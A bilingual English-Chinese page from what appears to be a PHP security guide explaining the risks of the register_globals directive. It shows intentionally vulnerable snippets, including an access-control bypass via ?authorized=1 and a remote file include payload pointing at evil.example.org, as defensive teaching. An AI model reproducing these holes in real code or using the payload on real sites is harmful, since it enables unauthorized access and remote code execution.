PHP Security / Overview / Register Globals
Register Globals
Register Globals
The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with register_globals disabled.
在 PHP 4.2.0 以及更高版本里,register_globals 选项默认就是禁用的。虽然这个选项并不意味就着是安全漏洞,不过它确实是一个安全隐患。因此,你在开发、部署程序的时候应该总是禁用 register_globals 选项。
Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:
为什么说这个选项是一个安全隐患呢?如果要给所有人都讲清楚这个安全隐患,通常情况下需要给每个人一个特定的环境,所以很难找到一个适合所有人的例子。不过,PHP 手册里面的例子是最通用的:
1 2 3 4 5 6 7 8 9 10 | <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> |
With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with error_reporting set to E_ALL, so that the use of an uninitialized variable won’t be overlooked during development.
如果 register_globals 启用了,那么请求这个页面的时候,在查询字符串中附加上 ?authorized=1 就能够越过预期的访问控制。当然了,这个特定的漏洞是开发者的失误,而不是 register_globals 的错误,不过这说明了直接传值所增加的风险。如果不这样做,正常的全局变量 ( 比如例子中的 $authorized ) 就不受客户端提交的数据影响了。最好的习惯就是初始化所有变量,并且在开发的时候把 error_reporting 设置成 E_ALL,这样在开发的时候就不会忽视对未初始化变量的使用了。
Another example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:
下面一个例子说明了在 include 中使用动态路径的时候,register_globals 是如何出问题的:
1 2 3 | <?php include "$path/script.php"; ?> |
With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:
在 register_globals 启用的情况下,在查询字符串中附加 ?path=http%3A%2F%2Fevil.example.org%2F%3F 请求页面,这个例子就和下面的代码等价:
1 2 3 | <?php include 'http://evil.example.org/?/script.php'; ?> |
If allow_url_fopen is enabled (which it is by default, even in php.ini-recommended), this will include the output of http://evil.example.org/ just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.
如果启用了 allow_url_fopen 选项(这是默认设置,即使在 php.ini-recommended 中也是),这会像包含本地文件一样包含 http://evil.example.org/ 的输出结果。这是一个严重的安全漏洞,而且存在于很多流行的开源程序里面。
Initializing $path can mitigate this particular risk, but so does disabling register_globals. Whereas a developer’s mistake can lead to an uninitialized variable, disabling register_globals is a global configuration change that is far less likely to be overlooked.
初始化 $path 就能够降低这个风险,但是禁用 register_globals 效果也一样。鉴于程序员的失误能够引起未初始化的变量的错误,禁用全局变量 register_globals 可以避免这个风险被忽视。
The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the $_POST and $_GET superglobal arrays is still very convenient, and it’s not worth the added risk to enable register_globals. While I completely disagree with arguments that equate register_globals to poor security, I do recommend that it be disabled.
这个便利性真是太美好了,尤其是我们中一些以前需要手动处理表单数据的人会很喜欢这个功能的。虽然使用 $_POST 和 $_GET 这两个超全局变量也很方便,但是还不值得冒风险去启用 register_globals。尽管我完全不赞同关于把 register_globals 和薄弱的安全性等同起来,但是我还是强烈推荐禁用这个选项。
In addition to all of this, disabling register_globals encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.
最后要说的是,禁用 register_globals 鼓励开发者留心数据的来源,这是一个有着安全意识的开发者的一个重要的特征。